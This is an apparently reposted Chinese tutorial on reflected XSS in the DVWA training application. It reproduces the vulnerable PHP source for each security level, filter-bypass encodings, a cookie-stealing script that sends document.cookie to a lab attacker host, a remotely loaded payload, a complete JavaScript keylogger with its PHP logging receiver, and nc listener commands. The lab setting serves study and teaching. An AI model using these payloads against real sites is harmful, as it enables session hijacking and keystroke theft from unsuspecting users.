通过DVWA学习反射型XSS漏洞

来源:互联网 发布:程序员谈恋爱 编辑:程序博客网 时间:2024/05/18 01:42
XSS,全称cross-site scripting,是用于攻击Web客户端而不是服务器端,其最大的特点是能把恶意的JS或HTML代码注入到用户浏览的网页上。而XSS漏洞的存在,主要是由于Web应用程序对用户的输入没有进行严格的过滤所导致的,当攻击者把恶意代码注入到网页时,用户只要访问该网页就会执行其中的恶意代码。关于其更具体的描述在网上也很多资料这里就不多说了直接进行总结整合。

XSS漏洞类型:

反射型(非持久):主要用于将恶意代码附加到URL地址的参数中,常用于窃取客户端cookie信息和钓鱼欺骗。

存储型(持久型):攻击者将恶意代码注入到Web服务器中并保存起来,只要客户端访问了相应的页面就会受到攻击。

DOM型:利用浏览器的DOM特性,不是向浏览器发请求而是直接通过在本地执行从而修改或窃取本地的信息。


使用场景:

直接嵌入html<script>标签中

元素标签事件<body onload=alert(‘xss’)>

图片标签<img>

框架标签<iframe>

DOM对象


Low级:

检测:

最基本的检测方法是先输入数据提交,看返回的内容是不是还是原来的内容,若是则很大可能存在漏洞。有时候返回的网页信息可能没有显示原来输入的内容,但是可以通过查看网页源代码可以查看输入的内容有没有注入到网页的html代码中,若有则也明显存在XSS反射型漏洞。

<script>alert('xss')</script>

<a href=https://www.baidu.com>click</a>

<a href=’’ onclick=alert('xss')>type</a>

去相应的网站访问不到相应的图片文件时就报错弹窗:

<img src=http://10.10.10.137/alan.jpg onerror=alert('xss')>


在DVWA中输入任何内容都会得到原来的内容,直接提交JS代码<script>alert('xss')</script>可见直接回弹框显示xss:



至于为何能够执行代码可以用Burpsuite抓包来看一下:

GET方法将js代码的一些空格等符号进行url编码然后一同放在URL上提交给服务器。



在服务器返回的页面中,正如测试时的一样,将原来的内容原封不动地返回,可以看到输入的js代码在返回页面的html代码中,而js代码是可以嵌入在html代码中执行的,其中嵌入的是一个alert()弹窗功能的函数,因而弹窗出来显示xss。



查看源代码:

 <?phpif(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true;} else {         echo '<pre>'; echo 'Hello ' . $_GET['name']; echo '</pre>';    }?> 

进入代码层面看,可以看到没有对保存输入内容的name变量进行任何的过滤检测就提交并直接显示出来。


利用:

重定向:

<script>window.location='https://www.baidu.com'</script>

<iframe SRC="http://www.sina.com" height="0" width="0"></iframe>


利用DOM特性来读取cookie值:

先用Kali监听80端口:

nc -vnlp 80

若80端口被占用,先查看是什么程序占用端口:

netstat -pantu | grep :80

然后用kill命令终止当前的程序即可:

输入以下JS代码来获取当前用户的cookie信息:

<script>new Image().src="http://10.10.10.151/c.php?output="+document.cookie;</script>

直接在监听端看到cookie信息:




利用DOM的body插入HTML代码,实现对页面的篡改:

<script>document.body.innerHTML="<div style=visibility:visible;><h1>嘻嘻^_^</h1></div>";</script>


为防止代码过长将其保存为一个js文件放在第三方的服务器中让客户端去访问:

a.js:

var img=new Image();img.src="http://10.10.10.151:88/c.php?cookie="+document.cookie;

将a.js放在第三方服务器win2k3 sever(IP为10.10.10.144)的www根目录下,在Kali中监听88端口,再在Ubuntu中输入:

<script src=http://10.10.10.144/a.js></script>

可在Kali中获取到Ubuntu客户端的cookie信息:




利用实现键盘记录:

在Kali的网页根目录下保存Keylogger.js文件:

document.onkeypress=function(evt){evt=evt || window.eventkey=String.fromCharCode(evt.charCode)if(key){var http=new XMLHttpRequest();var param=encodeURI(key);http.open("POST","http://10.10.10.151/keylogger.php",true);http.setRequestHeader("Content-type","application/x-www-form-urlencoded");http.send("key="+param);}}

访问一下确保可行:

接着就是将keylogger.php文件也保存在同一个目录来是实现将键盘得到记录保存到本地的keylog.txt文件中,即将接受到的key参数的取值保存到该文件中:

keylogger.php:
<?php$key=$_POST['key'];$logfile='keylog.txt';$fp=fopen($logfile,"a");fwrite($fp,$key);fclose($fp);?>

接着创建一个空的keylog.txt文件,然后赋予相应的可写的权限,这里为了方便就将权限赋给所有的用户:

chmod 777 keylog.txt

接着在Kali中打开的DVWA中输入:

<script src="http://10.10.10.151/Keylogger.js"></script>

然后在该网页中随意输入内容,查看keylog.txt文件可看到记录了下来:




绕过XSS Filter的构造测试:

利用<>标记注入HTML或JS:

<script>alert(‘xss’)</script>


利用HTML标签属性值执行XSS:

很多的HTML标记中的属性都支持javascript:[code]伪协议的形式

<img src=”javascript:alert('xss');”>


空格回车TAB:

空白不会影响JS语句的在正常执行

<img src=”javascript:alert('xss')” width=100>


对标签属性值进行转码:

HTML属性值本身是支持ASCII码形式的

<img src=”javascript:alert('xss')” width=100>

其中t的ASCII码值为116,用“&#116”来表示,而冒号:的ASCII值为58。

另外,Tab符的ASCII码为&#9、换行符的为&#10、回车符的为&#13可以被插入到代码的任何地方中去。

还可以将&#01、&#02等字符插入到JavaScript的头部中。


产生自己的事件:

事件是用户或浏览器自身执行的某个动作,如Click等

<img src=http://10.10.10.137/alan.jpg onerror=alert('xss')>

onerror是img标签的一个事件,只要页面发生错误就会激活相应的事件。

除此之外还有各种事件,如:onResume、onfinish、onstop、onReverse等等。


利用CSS跨站剖析:

CSS是XSS的另一个载体,代码通常是嵌入到style标签/属性中的。

缺点是个浏览器之间不能通用。


扰乱过滤规则:

转换大小写,顺序可以随意

双引号与单引号互换

不使用引号

/**/注释符号

内嵌


字符编码:

可以对代码进行十进制编码(&#),可以在每个十进制字符后面加上分号;,也可以采用&#0、&#00;等的形式。


JS中的eval()函数,用于计算字符串并执行其中的JS代码。可以使用\连接十六进制字符串形式的脚本让eval()函数来执行,如

<script>eval(“\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29”);</script>
也可以让其执行十进制形式的脚本,但需要和String.fromCharCode()函数一起使用、实现将字符转为ASCII值,如
<img src=”javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))”>

在利用CSS中,可以对style中的属性进行十六进制的编码来绕过。



Shellcode的调用:

简单地说,Shellcode是指对一个漏洞进行利用的代码。

动态调用远程JS:

将shellcode保存在其他服务器中,然后再用<script>标签来动态加载。除此之外,还可以通过基于DOM的方法创建和插入结点,把代码注入到网页中。这两种方式在利用中都有相应的演示。


使用window.location.hash:

即DOM型。location是JS管理地址栏的内置对象,location.hash则是用来获取或设置页面的标签值。相关的简单的利用已有示例,至于DOM型的XSS会有进一步的笔记。



Medium级:

查看源代码:
 <?phpif(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){ $isempty = true;} else { echo '<pre>'; echo 'Hello ' . str_replace('<script>', '', $_GET['name']); echo '</pre>'; }?> 

代码中调用了str_replace()函数,其中将含有”<script>”的字符串都替换成空字符串。

这样利用方法有很多,比如可以转换”<script>”中一些字符的大小写<Script>、内嵌字符串<scr<script>ipt>、不使用<script>标签而是用其他标签如<img>等等,这里就不再演示。


High级别:

查看源代码:
 <?php    if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){     $isempty = true;        } else {     echo '<pre>'; echo 'Hello ' . htmlspecialchars($_GET['name']); echo '</pre>';        }?> 

代码中调用了htmlspecialchars()函数,其中将输出的内容进行HTML的编码,即无论是什么字符都会被编码为html编码从而具有很强的过滤效果,目前暂时无法找到方法绕过。




今天就总的看了XSS和反射型XSS的相关知识,下面会继续补充存储型XSS和DOM型的XSS~


0 0
原创粉丝点击